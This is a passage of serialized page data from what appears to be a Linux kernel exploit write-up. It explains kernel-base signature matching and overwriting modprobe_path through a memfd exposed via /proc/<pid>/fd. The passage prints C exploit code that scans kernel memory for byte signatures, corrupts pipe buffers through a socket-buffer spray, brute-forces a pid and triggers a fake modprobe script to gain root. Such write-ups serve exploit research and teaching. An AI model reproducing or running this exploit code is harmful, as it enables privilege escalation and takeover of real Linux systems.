break",{"type":20,"tag":315,"props":57215,"children":57216},{"style":328},[57217],{"type":26,"value":1405},{"type":20,"tag":315,"props":57219,"children":57220},{"class":317,"line":7462},[57221],{"type":20,"tag":315,"props":57222,"children":57223},{"style":328},[57224],{"type":26,"value":57138},{"type":20,"tag":315,"props":57226,"children":57227},{"class":317,"line":7507},[57228],{"type":20,"tag":315,"props":57229,"children":57230},{"style":328},[57231],{"type":26,"value":1728},{"type":20,"tag":315,"props":57233,"children":57234},{"class":317,"line":7613},[57235],{"type":20,"tag":315,"props":57236,"children":57237},{"emptyLinePlaceholder":15},[57238],{"type":26,"value":427},{"type":20,"tag":315,"props":57240,"children":57241},{"class":317,"line":21914},[57242],{"type":20,"tag":315,"props":57243,"children":57244},{"style":328},[57245],{"type":26,"value":8718},{"type":20,"tag":29,"props":57247,"children":57248},{},[57249,57251,57255,57257,57263,57265,57269],{"type":26,"value":57250},"Notice that at ",{"type":20,"tag":315,"props":57252,"children":57253},{},[57254],{"type":26,"value":2406},{"type":26,"value":57256}," we call the ",{"type":20,"tag":119,"props":57258,"children":57260},{"className":57259},[],[57261],{"type":26,"value":57262},"is_kernel_base()",{"type":26,"value":57264}," function. This is a function based on lau's exploit ",{"type":20,"tag":315,"props":57266,"children":57267},{},[57268],{"type":26,"value":16511},{"type":26,"value":57270}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":20,"tag":305,"props":57272,"children":57274},{"className":27525,"code":57273,"language":27527,"meta":7,"style":7},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n // thanks lau :)\n\n // get-sig kernel_runtime_1\n if (memcmp(addr + 0x0, \"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n return true;\n\n // get-sig kernel_runtime_2\n if (memcmp(addr + 0x0, \"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n return true;\n\n return false;\n}\n[...]\n",[57275],{"type":20,"tag":119,"props":57276,"children":57277},{"__ignoreMap":7},[57278,57285,57315,57322,57330,57337,57345,57416,57478,57493,57500,57508,57576,57638,57699,57760,57822,57884,57945,58006,58067,58128,58189,58204,58211,58226,58233],{"type":20,"tag":315,"props":57279,"children":57280},{"class":317,"line":318},[57281],{"type":20,"tag":315,"props":57282,"children":57283},{"style":328},[57284],{"type":26,"value":8718},{"type":20,"tag":315,"props":57286,"children":57287},{"class":317,"line":356},[57288,57293,57298,57303,57307,57311],{"type":20,"tag":315,"props":57289,"children":57290},{"style":328},[57291],{"type":26,"value":57292},"static bool is_kernel_base(",{"type":20,"tag":315,"props":57294,"children":57295},{"style":541},[57296],{"type":26,"value":57297},"unsigned",{"type":20,"tag":315,"props":57299,"children":57300},{"style":541},[57301],{"type":26,"value":57302}," char",{"type":20,"tag":315,"props":57304,"children":57305},{"style":541},[57306],{"type":26,"value":8216},{"type":20,"tag":315,"props":57308,"children":57309},{"style":635},[57310],{"type":26,"value":29102},{"type":20,"tag":315,"props":57312,"children":57313},{"style":328},[57314],{"type":26,"value":380},{"type":20,"tag":315,"props":57316,"children":57317},{"class":317,"line":365},[57318],{"type":20,"tag":315,"props":57319,"children":57320},{"style":328},[57321],{"type":26,"value":723},{"type":20,"tag":315,"props":57323,"children":57324},{"class":317,"line":374},[57325],{"type":20,"tag":315,"props":57326,"children":57327},{"style":1071},[57328],{"type":26,"value":57329}," // thanks lau :)\n",{"type":20,"tag":315,"props":57331,"children":57332},{"class":317,"line":383},[57333],{"type":20,"tag":315,"props":57334,"children":57335},{"emptyLinePlaceholder":15},[57336],{"type":26,"value":427},{"type":20,"tag":315,"props":57338,"children":57339},{"class":317,"line":407},[57340],{"type":20,"tag":315,"props":57341,"children":57342},{"style":1071},[57343],{"type":26,"value":57344}," // get-sig kernel_runtime_1\n",{"type":20,"tag":315,"props":57346,"children":57347},{"class":317,"line":421},[57348,57352,57356,57361,57366,57370,57375,57379,57383,57388,57392,57396,57400,57404,57408,57412],{"type":20,"tag":315,"props":57349,"children":57350},{"style":525},[57351],{"type":26,"value":10680},{"type":20,"tag":315,"props":57353,"children":57354},{"style":328},[57355],{"type":26,"value":463},{"type":20,"tag":315,"props":57357,"children":57358},{"style":345},[57359],{"type":26,"value":57360},"memcmp",{"type":20,"tag":315,"props":57362,"children":57363},{"style":328},[57364],{"type":26,"value":57365},"(addr ",{"type":20,"tag":315,"props":57367,"children":57368},{"style":334},[57369],{"type":26,"value":817},{"type":20,"tag":315,"props":57371,"children":57372},{"style":765},[57373],{"type":26,"value":57374}," 0x0",{"type":20,"tag":315,"props":57376,"children":57377},{"style":328},[57378],{"type":26,"value":44},{"type":20,"tag":315,"props":57380,"children":57381},{"style":2652},[57382],{"type":26,"value":18463},{"type":20,"tag":315,"props":57384,"children":57385},{"style":46624},[57386],{"type":26,"value":57387},"\\x48\\x8d\\x25\\x51\\x3f",{"type":20,"tag":315,"props":57389,"children":57390},{"style":2652},[57391],{"type":26,"value":18463},{"type":20,"tag":315,"props":57393,"children":57394},{"style":328},[57395],{"type":26,"value":44},{"type":20,"tag":315,"props":57397,"children":57398},{"style":765},[57399],{"type":26,"value":16511},{"type":20,"tag":315,"props":57401,"children":57402},{"style":328},[57403],{"type":26,"value":1468},{"type":20,"tag":315,"props":57405,"children":57406},{"style":334},[57407],{"type":26,"value":538},{"type":20,"tag":315,"props":57409,"children":57410},{"style":765},[57411],{"type":26,"value":985},{"type":20,"tag":315,"props":57413,"children":57414},{"style":334},[57415],{"type":26,"value":50936},{"type":20,"tag":315,"props":57417,"children":57418},{"class":317,"line":430},[57419,57424,57428,57432,57437,57441,57445,57450,57454,57458,57462,57466,57470,57474],{"type":20,"tag":315,"props":57420,"children":57421},{"style":345},[57422],{"type":26,"value":57423}," memcmp",{"type":20,"tag":315,"props":57425,"children":57426},{"style":328},[57427],{"type":26,"value":57365},{"type":20,"tag":315,"props":57429,"children":57430},{"style":334},[57431],{"type":26,"value":817},{"type":20,"tag":315,"props":57433,"children":57434},{"style":765},[57435],{"type":26,"value":57436}," 0x7",{"type":20,"tag":315,"props":57438,"children":57439},{"style":328},[57440],{"type":26,"value":44},{"type":20,"tag":315,"props":57442,"children":57443},{"style":2652},[57444],{"type":26,"value":18463},{"type":20,"tag":315,"props":57446,"children":57447},{"style":46624},[57448],{"type":26,"value":57449},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":20,"tag":315,"props":57451,"children":57452},{"style":2652},[57453],{"type":26,"value":18463},{"type":20,"tag":315,"props":57455,"children":57456},{"style":328},[57457],{"type":26,"value":44},{"type":20,"tag":315,"props":57459,"children":57460},{"style":765},[57461],{"type":26,"value":52923},{"type":20,"tag":315,"props":57463,"children":57464},{"style":328},[57465],{"type":26,"value":1468},{"type":20,"tag":315,"props":57467,"children":57468},{"style":334},[57469],{"type":26,"value":538},{"type":20,"tag":315,"props":57471,"children":57472},{"style":765},[57473],{"type":26,"value":985},{"type":20,"tag":315,"props":57475,"children":57476},{"style":328},[57477],{"type":26,"value":380},{"type":20,"tag":315,"props":57479,"children":57480},{"class":317,"line":453},[57481,57485,57489],{"type":20,"tag":315,"props":57482,"children":57483},{"style":525},[57484],{"type":26,"value":14145},{"type":20,"tag":315,"props":57486,"children":57487},{"style":541},[57488],{"type":26,"value":544},{"type":20,"tag":315,"props":57490,"children":57491},{"style":328},[57492],{"type":26,"value":1405},{"type":20,"tag":315,"props":57494,"children":57495},{"class":317,"line":486},[57496],{"type":20,"tag":315,"props":57497,"children":57498},{"emptyLinePlaceholder":15},[57499],{"type":26,"value":427},{"type":20,"tag":315,"props":57501,"children":57502},{"class":317,"line":499},[57503],{"type":20,"tag":315,"props":57504,"children":57505},{"style":1071},[57506],{"type":26,"value":57507}," // get-sig kernel_runtime_2\n",{"type":20,"tag":315,"props":57509,"children":57510},{"class":317,"line":513},[57511,57515,57519,57523,57527,57531,57535,57539,57543,57548,57552,57556,57560,57564,57568,57572],{"type":20,"tag":315,"props":57512,"children":57513},{"style":525},[57514],{"type":26,"value":10680},{"type":20,"tag":315,"props":57516,"children":57517},{"style":328},[57518],{"type":26,"value":463},{"type":20,"tag":315,"props":57520,"children":57521},{"style":345},[57522],{"type":26,"value":57360},{"type":20,"tag":315,"props":57524,"children":57525},{"style":328},[57526],{"type":26,"value":57365},{"type":20,"tag":315,"props":57528,"children":57529},{"style":334},[57530],{"type":26,"value":817},{"type":20,"tag":315,"props":57532,"children":57533},{"style":765},[57534],{"type":26,"value":57374},{"type":20,"tag":315,"props":57536,"children":57537},{"style":328},[57538],{"type":26,"value":44},{"type":20,"tag":315,"props":57540,"children":57541},{"style":2652},[57542],{"type":26,"value":18463},{"type":20,"tag":315,"props":57544,"children":57545},{"style":46624},[57546],{"type":26,"value":57547},"\\xfc\\x0f\\x01\\x15",{"type":20,"tag":315,"props":57549,"children":57550},{"style":2652},[57551],{"type":26,"value":18463},{"type":20,"tag":315,"props":57553,"children":57554},{"style":328},[57555],{"type":26,"value":44},{"type":20,"tag":315,"props":57557,"children":57558},{"style":765},[57559],{"type":26,"value":15931},{"type":20,"tag":315,"props":57561,"children":57562},{"style":328},[57563],{"type":26,"value":1468},{"type":20,"tag":315,"props":57565,"children":57566},{"style":334},[57567],{"type":26,"value":538},{"type":20,"tag":315,"props":57569,"children":57570},{"style":765},[57571],{"type":26,"value":985},{"type":20,"tag":315,"props":57573,"children":57574},{"style":334},[57575],{"type":26,"value":50936},{"type":20,"tag":315,"props":57577,"children":57578},{"class":317,"line":521},[57579,57583,57587,57591,57596,57600,57604,57609,57613,57617,57622,57626,57630,57634],{"type":20,"tag":315,"props":57580,"children":57581},{"style":345},[57582],{"type":26,"value":57423},{"type":20,"tag":315,"props":57584,"children":57585},{"style":328},[57586],{"type":26,"value":57365},{"type":20,"tag":315,"props":57588,"children":57589},{"style":334},[57590],{"type":26,"value":817},{"type":20,"tag":315,"props":57592,"children":57593},{"style":765},[57594],{"type":26,"value":57595}," 0x8",{"type":20,"tag":315,"props":57597,"children":57598},{"style":328},[57599],{"type":26,"value":44},{"type":20,"tag":315,"props":57601,"children":57602},{"style":2652},[57603],{"type":26,"value":18463},{"type":20,"tag":315,"props":57605,"children":57606},{"style":46624},[57607],{"type":26,"value":57608},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":20,"tag":315,"props":57610,"children":57611},{"style":2652},[57612],{"type":26,"value":18463},{"type":20,"tag":315,"props":57614,"children":57615},{"style":328},[57616],{"type":26,"value":44},{"type":20,"tag":315,"props":57618,"children":57619},{"style":765},[57620],{"type":26,"value":57621},"12",{"type":20,"tag":315,"props":57623,"children":57624},{"style":328},[57625],{"type":26,"value":1468},{"type":20,"tag":315,"props":57627,"children":57628},{"style":334},[57629],{"type":26,"value":538},{"type":20,"tag":315,"props":57631,"children":57632},{"style":765},[57633],{"type":26,"value":985},{"type":20,"tag":315,"props":57635,"children":57636},{"style":334},[57637],{"type":26,"value":50936},{"type":20,"tag":315,"props":57639,"children":57640},{"class":317,"line":552},[57641,57645,57649,57653,57658,57662,57666,57671,57675,57679,57683,57687,57691,57695],{"type":20,"tag":315,"props":57642,"children":57643},{"style":345},[57644],{"type":26,"value":57423},{"type":20,"tag":315,"props":57646,"children":57647},{"style":328},[57648],{"type":26,"value":57365},{"type":20,"tag":315,"props":57650,"children":57651},{"style":334},[57652],{"type":26,"value":817},{"type":20,"tag":315,"props":57654,"children":57655},{"style":765},[57656],{"type":26,"value":57657}," 0x18",{"type":20,"tag":315,"props":57659,"children":57660},{"style":328},[57661],{"type":26,"value":44},{"type":20,"tag":315,"props":57663,"children":57664},{"style":2652},[57665],{"type":26,"value":18463},{"type":20,"tag":315,"props":57667,"children":57668},{"style":46624},[57669],{"type":26,"value":57670},"\\x89\\xde\\x8b\\x0d",{"type":20,"tag":315,"props":57672,"children":57673},{"style":2652},[57674],{"type":26,"value":18463},{"type":20,"tag":315,"props":57676,"children":57677},{"style":328},[57678],{"type":26,"value":44},{"type":20,"tag":315,"props":57680,"children":57681},{"style":765},[57682],{"type":26,"value":15931},{"type":20,"tag":315,"props":57684,"children":57685},{"style":328},[57686],{"type":26,"value":1468},{"type":20,"tag":315,"props":57688,"children":57689},{"style":334},[57690],{"type":26,"value":538},{"type":20,"tag":315,"props":57692,"children":57693},{"style":765},[57694],{"type":26,"value":985},{"type":20,"tag":315,"props":57696,"children":57697},{"style":334},[57698],{"type":26,"value":50936},{"type":20,"tag":315,"props":57700,"children":57701},{"class":317,"line":571},[57702,57706,57710,57714,57719,57723,57727,57732,57736,57740,57744,57748,57752,57756],{"type":20,"tag":315,"props":57703,"children":57704},{"style":345},[57705],{"type":26,"value":57423},{"type":20,"tag":315,"props":57707,"children":57708},{"style":328},[57709],{"type":26,"value":57365},{"type":20,"tag":315,"props":57711,"children":57712},{"style":334},[57713],{"type":26,"value":817},{"type":20,"tag":315,"props":57715,"children":57716},{"style":765},[57717],{"type":26,"value":57718}," 0x20",{"type":20,"tag":315,"props":57720,"children":57721},{"style":328},[57722],{"type":26,"value":44},{"type":20,"tag":315,"props":57724,"children":57725},{"style":2652},[57726],{"type":26,"value":18463},{"type":20,"tag":315,"props":57728,"children":57729},{"style":46624},[57730],{"type":26,"value":57731},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":20,"tag":315,"props":57733,"children":57734},{"style":2652},[57735],{"type":26,"value":18463},{"type":20,"tag":315,"props":57737,"children":57738},{"style":328},[57739],{"type":26,"value":44},{"type":20,"tag":315,"props":57741,"children":57742},{"style":765},[57743],{"type":26,"value":16823},{"type":20,"tag":315,"props":57745,"children":57746},{"style":328},[57747],{"type":26,"value":1468},{"type":20,"tag":315,"props":57749,"children":57750},{"style":334},[57751],{"type":26,"value":538},{"type":20,"tag":315,"props":57753,"children":57754},{"style":765},[57755],{"type":26,"value":985},{"type":20,"tag":315,"props":57757,"children":57758},{"style":334},[57759],{"type":26,"value":50936},{"type":20,"tag":315,"props":57761,"children":57762},{"class":317,"line":2031},[57763,57767,57771,57775,57780,57784,57788,57793,57797,57801,57806,57810,57814,57818],{"type":20,"tag":315,"props":57764,"children":57765},{"style":345},[57766],{"type":26,"value":57423},{"type":20,"tag":315,"props":57768,"children":57769},{"style":328},[57770],{"type":26,"value":57365},{"type":20,"tag":315,"props":57772,"children":57773},{"style":334},[57774],{"type":26,"value":817},{"type":20,"tag":315,"props":57776,"children":57777},{"style":765},[57778],{"type":26,"value":57779}," 0x2a",{"type":20,"tag":315,"props":57781,"children":57782},{"style":328},[57783],{"type":26,"value":44},{"type":20,"tag":315,"props":57785,"children":57786},{"style":2652},[57787],{"type":26,"value":18463},{"type":20,"tag":315,"props":57789,"children":57790},{"style":46624},[57791],{"type":26,"value":57792},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":20,"tag":315,"props":57794,"children":57795},{"style":2652},[57796],{"type":26,"value":18463},{"type":20,"tag":315,"props":57798,"children":57799},{"style":328},[57800],{"type":26,"value":44},{"type":20,"tag":315,"props":57802,"children":57803},{"style":765},[57804],{"type":26,"value":57805},"24",{"type":20,"tag":315,"props":57807,"children":57808},{"style":328},[57809],{"type":26,"value":1468},{"type":20,"tag":315,"props":57811,"children":57812},{"style":334},[57813],{"type":26,"value":538},{"type":20,"tag":315,"props":57815,"children":57816},{"style":765},[57817],{"type":26,"value":985},{"type":20,"tag":315,"props":57819,"children":57820},{"style":334},[57821],{"type":26,"value":50936},{"type":20,"tag":315,"props":57823,"children":57824},{"class":317,"line":2053},[57825,57829,57833,57837,57842,57846,57850,57855,57859,57863,57868,57872,57876,57880],{"type":20,"tag":315,"props":57826,"children":57827},{"style":345},[57828],{"type":26,"value":57423},{"type":20,"tag":315,"props":57830,"children":57831},{"style":328},[57832],{"type":26,"value":57365},{"type":20,"tag":315,"props":57834,"children":57835},{"style":334},[57836],{"type":26,"value":817},{"type":20,"tag":315,"props":57838,"children":57839},{"style":765},[57840],{"type":26,"value":57841}," 0x45",{"type":20,"tag":315,"props":57843,"children":57844},{"style":328},[57845],{"type":26,"value":44},{"type":20,"tag":315,"props":57847,"children":57848},{"style":2652},[57849],{"type":26,"value":18463},{"type":20,"tag":315,"props":57851,"children":57852},{"style":46624},[57853],{"type":26,"value":57854},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":20,"tag":315,"props":57856,"children":57857},{"style":2652},[57858],{"type":26,"value":18463},{"type":20,"tag":315,"props":57860,"children":57861},{"style":328},[57862],{"type":26,"value":44},{"type":20,"tag":315,"props":57864,"children":57865},{"style":765},[57866],{"type":26,"value":57867},"15",{"type":20,"tag":315,"props":57869,"children":57870},{"style":328},[57871],{"type":26,"value":1468},{"type":20,"tag":315,"props":57873,"children":57874},{"style":334},[57875],{"type":26,"value":538},{"type":20,"tag":315,"props":57877,"children":57878},{"style":765},[57879],{"type":26,"value":985},{"type":20,"tag":315,"props":57881,"children":57882},{"style":334},[57883],{"type":26,"value":50936},{"type":20,"tag":315,"props":57885,"children":57886},{"class":317,"line":2061},[57887,57891,57895,57899,57904,57908,57912,57917,57921,57925,57929,57933,57937,57941],{"type":20,"tag":315,"props":57888,"children":57889},{"style":345},[57890],{"type":26,"value":57423},{"type":20,"tag":315,"props":57892,"children":57893},{"style":328},[57894],{"type":26,"value":57365},{"type":20,"tag":315,"props":57896,"children":57897},{"style":334},[57898],{"type":26,"value":817},{"type":20,"tag":315,"props":57900,"children":57901},{"style":765},[57902],{"type":26,"value":57903}," 0x55",{"type":20,"tag":315,"props":57905,"children":57906},{"style":328},[57907],{"type":26,"value":44},{"type":20,"tag":315,"props":57909,"children":57910},{"style":2652},[57911],{"type":26,"value":18463},{"type":20,"tag":315,"props":57913,"children":57914},{"style":46624},[57915],{"type":26,"value":57916},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":20,"tag":315,"props":57918,"children":57919},{"style":2652},[57920],{"type":26,"value":18463},{"type":20,"tag":315,"props":57922,"children":57923},{"style":328},[57924],{"type":26,"value":44},{"type":20,"tag":315,"props":57926,"children":57927},{"style":765},[57928],{"type":26,"value":2469},{"type":20,"tag":315,"props":57930,"children":57931},{"style":328},[57932],{"type":26,"value":1468},{"type":20,"tag":315,"props":57934,"children":57935},{"style":334},[57936],{"type":26,"value":538},{"type":20,"tag":315,"props":57938,"children":57939},{"style":765},[57940],{"type":26,"value":985},{"type":20,"tag":315,"props":57942,"children":57943},{"style":334},[57944],{"type":26,"value":50936},{"type":20,"tag":315,"props":57946,"children":57947},{"class":317,"line":2070},[57948,57952,57956,57960,57965,57969,57973,57978,57982,57986,57990,57994,57998,58002],{"type":20,"tag":315,"props":57949,"children":57950},{"style":345},[57951],{"type":26,"value":57423},{"type":20,"tag":315,"props":57953,"children":57954},{"style":328},[57955],{"type":26,"value":57365},{"type":20,"tag":315,"props":57957,"children":57958},{"style":334},[57959],{"type":26,"value":817},{"type":20,"tag":315,"props":57961,"children":57962},{"style":765},[57963],{"type":26,"value":57964}," 0x61",{"type":20,"tag":315,"props":57966,"children":57967},{"style":328},[57968],{"type":26,"value":44},{"type":20,"tag":315,"props":57970,"children":57971},{"style":2652},[57972],{"type":26,"value":18463},{"type":20,"tag":315,"props":57974,"children":57975},{"style":46624},[57976],{"type":26,"value":57977},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":20,"tag":315,"props":57979,"children":57980},{"style":2652},[57981],{"type":26,"value":18463},{"type":20,"tag":315,"props":57983,"children":57984},{"style":328},[57985],{"type":26,"value":44},{"type":20,"tag":315,"props":57987,"children":57988},{"style":765},[57989],{"type":26,"value":16511},{"type":20,"tag":315,"props":57991,"children":57992},{"style":328},[57993],{"type":26,"value":1468},{"type":20,"tag":315,"props":57995,"children":57996},{"style":334},[57997],{"type":26,"value":538},{"type":20,"tag":315,"props":57999,"children":58000},{"style":765},[58001],{"type":26,"value":985},{"type":20,"tag":315,"props":58003,"children":58004},{"style":334},[58005],{"type":26,"value":50936},{"type":20,"tag":315,"props":58007,"children":58008},{"class":317,"line":2139},[58009,58013,58017,58021,58026,58030,58034,58039,58043,58047,58051,58055,58059,58063],{"type":20,"tag":315,"props":58010,"children":58011},{"style":345},[58012],{"type":26,"value":57423},{"type":20,"tag":315,"props":58014,"children":58015},{"style":328},[58016],{"type":26,"value":57365},{"type":20,"tag":315,"props":58018,"children":58019},{"style":334},[58020],{"type":26,"value":817},{"type":20,"tag":315,"props":58022,"children":58023},{"style":765},[58024],{"type":26,"value":58025}," 0x6a",{"type":20,"tag":315,"props":58027,"children":58028},{"style":328},[58029],{"type":26,"value":44},{"type":20,"tag":315,"props":58031,"children":58032},{"style":2652},[58033],{"type":26,"value":18463},{"type":20,"tag":315,"props":58035,"children":58036},{"style":46624},[58037],{"type":26,"value":58038},"\\x48\\xc7\\xc6",{"type":20,"tag":315,"props":58040,"children":58041},{"style":2652},[58042],{"type":26,"value":18463},{"type":20,"tag":315,"props":58044,"children":58045},{"style":328},[58046],{"type":26,"value":44},{"type":20,"tag":315,"props":58048,"children":58049},{"style":765},[58050],{"type":26,"value":15698},{"type":20,"tag":315,"props":58052,"children":58053},{"style":328},[58054],{"type":26,"value":1468},{"type":20,"tag":315,"props":58056,"children":58057},{"style":334},[58058],{"type":26,"value":538},{"type":20,"tag":315,"props":58060,"children":58061},{"style":765},[58062],{"type":26,"value":985},{"type":20,"tag":315,"props":58064,"children":58065},{"style":334},[58066],{"type":26,"value":50936},{"type":20,"tag":315,"props":58068,"children":58069},{"class":317,"line":2147},[58070,58074,58078,58082,58087,58091,58095,58100,58104,58108,58112,58116,58120,58124],{"type":20,"tag":315,"props":58071,"children":58072},{"style":345},[58073],{"type":26,"value":57423},{"type":20,"tag":315,"props":58075,"children":58076},{"style":328},[58077],{"type":26,"value":57365},{"type":20,"tag":315,"props":58079,"children":58080},{"style":334},[58081],{"type":26,"value":817},{"type":20,"tag":315,"props":58083,"children":58084},{"style":765},[58085],{"type":26,"value":58086}," 0x71",{"type":20,"tag":315,"props":58088,"children":58089},{"style":328},[58090],{"type":26,"value":44},{"type":20,"tag":315,"props":58092,"children":58093},{"style":2652},[58094],{"type":26,"value":18463},{"type":20,"tag":315,"props":58096,"children":58097},{"style":46624},[58098],{"type":26,"value":58099},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":20,"tag":315,"props":58101,"children":58102},{"style":2652},[58103],{"type":26,"value":18463},{"type":20,"tag":315,"props":58105,"children":58106},{"style":328},[58107],{"type":26,"value":44},{"type":20,"tag":315,"props":58109,"children":58110},{"style":765},[58111],{"type":26,"value":16823},{"type":20,"tag":315,"props":58113,"children":58114},{"style":328},[58115],{"type":26,"value":1468},{"type":20,"tag":315,"props":58117,"children":58118},{"style":334},[58119],{"type":26,"value":538},{"type":20,"tag":315,"props":58121,"children":58122},{"style":765},[58123],{"type":26,"value":985},{"type":20,"tag":315,"props":58125,"children":58126},{"style":334},[58127],{"type":26,"value":50936},{"type":20,"tag":315,"props":58129,"children":58130},{"class":317,"line":2177},[58131,58135,58139,58143,58148,58152,58156,58161,58165,58169,58173,58177,58181,58185],{"type":20,"tag":315,"props":58132,"children":58133},{"style":345},[58134],{"type":26,"value":57423},{"type":20,"tag":315,"props":58136,"children":58137},{"style":328},[58138],{"type":26,"value":57365},{"type":20,"tag":315,"props":58140,"children":58141},{"style":334},[58142],{"type":26,"value":817},{"type":20,"tag":315,"props":58144,"children":58145},{"style":765},[58146],{"type":26,"value":58147}," 0x78",{"type":20,"tag":315,"props":58149,"children":58150},{"style":328},[58151],{"type":26,"value":44},{"type":20,"tag":315,"props":58153,"children":58154},{"style":2652},[58155],{"type":26,"value":18463},{"type":20,"tag":315,"props":58157,"children":58158},{"style":46624},[58159],{"type":26,"value":58160},"\\xff\\xe0",{"type":20,"tag":315,"props":58162,"children":58163},{"style":2652},[58164],{"type":26,"value":18463},{"type":20,"tag":315,"props":58166,"children":58167},{"style":328},[58168],{"type":26,"value":44},{"type":20,"tag":315,"props":58170,"children":58171},{"style":765},[58172],{"type":26,"value":1504},{"type":20,"tag":315,"props":58174,"children":58175},{"style":328},[58176],{"type":26,"value":1468},{"type":20,"tag":315,"props":58178,"children":58179},{"style":334},[58180],{"type":26,"value":538},{"type":20,"tag":315,"props":58182,"children":58183},{"style":765},[58184],{"type":26,"value":985},{"type":20,"tag":315,"props":58186,"children":58187},{"style":328},[58188],{"type":26,"value":380},{"type":20,"tag":315,"props":58190,"children":58191},{"class":317,"line":2185},[58192,58196,58200],{"type":20,"tag":315,"props":58193,"children":58194},{"style":525},[58195],{"type":26,"value":14145},{"type":20,"tag":315,"props":58197,"children":58198},{"style":541},[58199],{"type":26,"value":544},{"type":20,"tag":315,"props":58201,"children":58202},{"style":328},[58203],{"type":26,"value":1405},{"type":20,"tag":315,"props":58205,"children":58206},{"class":317,"line":2217},[58207],{"type":20,"tag":315,"props":58208,"children":58209},{"emptyLinePlaceholder":15},[58210],{"type":26,"value":427},{"type":20,"tag":315,"props":58212,"children":58213},{"class":317,"line":2225},[58214,58218,58222],{"type":20,"tag":315,"props":58215,"children":58216},{"style":525},[58217],{"type":26,"value":731},{"type":20,"tag":315,"props":58219,"children":58220},{"style":541},[58221],{"type":26,"value":7455},{"type":20,"tag":315,"props":58223,"children":58224},{"style":328},[58225],{"type":26,"value":1405},{"type":20,"tag":315,"props":58227,"children":58228},{"class":317,"line":2285},[58229],{"type":20,"tag":315,"props":58230,"children":58231},{"style":328},[58232],{"type":26,"value":577},{"type":20,"tag":315,"props":58234,"children":58235},{"class":317,"line":7444},[58236],{"type":20,"tag":315,"props":58237,"children":58238},{"style":328},[58239],{"type":26,"value":8718},{"type":20,"tag":219,"props":58241,"children":58243},{"id":58242},"overwriting-modprobe_path",[58244,58246],{"type":26,"value":58245},"Overwriting ",{"type":20,"tag":119,"props":58247,"children":58249},{"className":58248},[],[58250],{"type":26,"value":56631},{"type":20,"tag":29,"props":58252,"children":58253},{},[58254,58256,58262],{"type":26,"value":58255},"Finding the ",{"type":20,"tag":119,"props":58257,"children":58259},{"className":58258},[],[58260],{"type":26,"value":58261},"/sbin/modprobe",{"type":26,"value":58263}," string in kernel memory and replacing it with a controlled value that points to a file we own finally becomes relatively trivial.",{"type":20,"tag":29,"props":58265,"children":58266},{},[58267,58269,58275],{"type":26,"value":58268},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":20,"tag":119,"props":58270,"children":58272},{"className":58271},[],[58273],{"type":26,"value":58274},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":26,"value":58276}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":20,"tag":305,"props":58278,"children":58280},{"className":27525,"code":58279,"language":27527,"meta":7,"style":7},"[...]\n puts(\"[*] overwrite modprobe_path\");\n for (int i = 0; i \u003C 4194304; i++)\n {\n pipebuf->page = modprobe_page;\n pipebuf->offset = modprobe_off;\n pipebuf->len = 0;\n for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n {\n if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n {\n perror(\"[-] write(socket)\");\n break;\n }\n }\n\n memset(&data, 0, PAGE_SIZE);\n snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n lseek(modprobe_fd, 0, SEEK_SET);\n dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n {\n perror(\"\\n[-] write(pipe)\");\n }\n\n if (check_modprobe(fd_path))\n {\n puts(\"[-] failed to overwrite modprobe\");\n break;\n }\n\n if (trigger_modprobe(status_fd))\n {\n puts(\"\\n[+] got root\");\n goto out;\n }\n\n for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n {\n if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n {\n perror(\"[-] read(socket)\");\n return -1;\n }\n }\n }\n puts(\"[-] fake modprobe 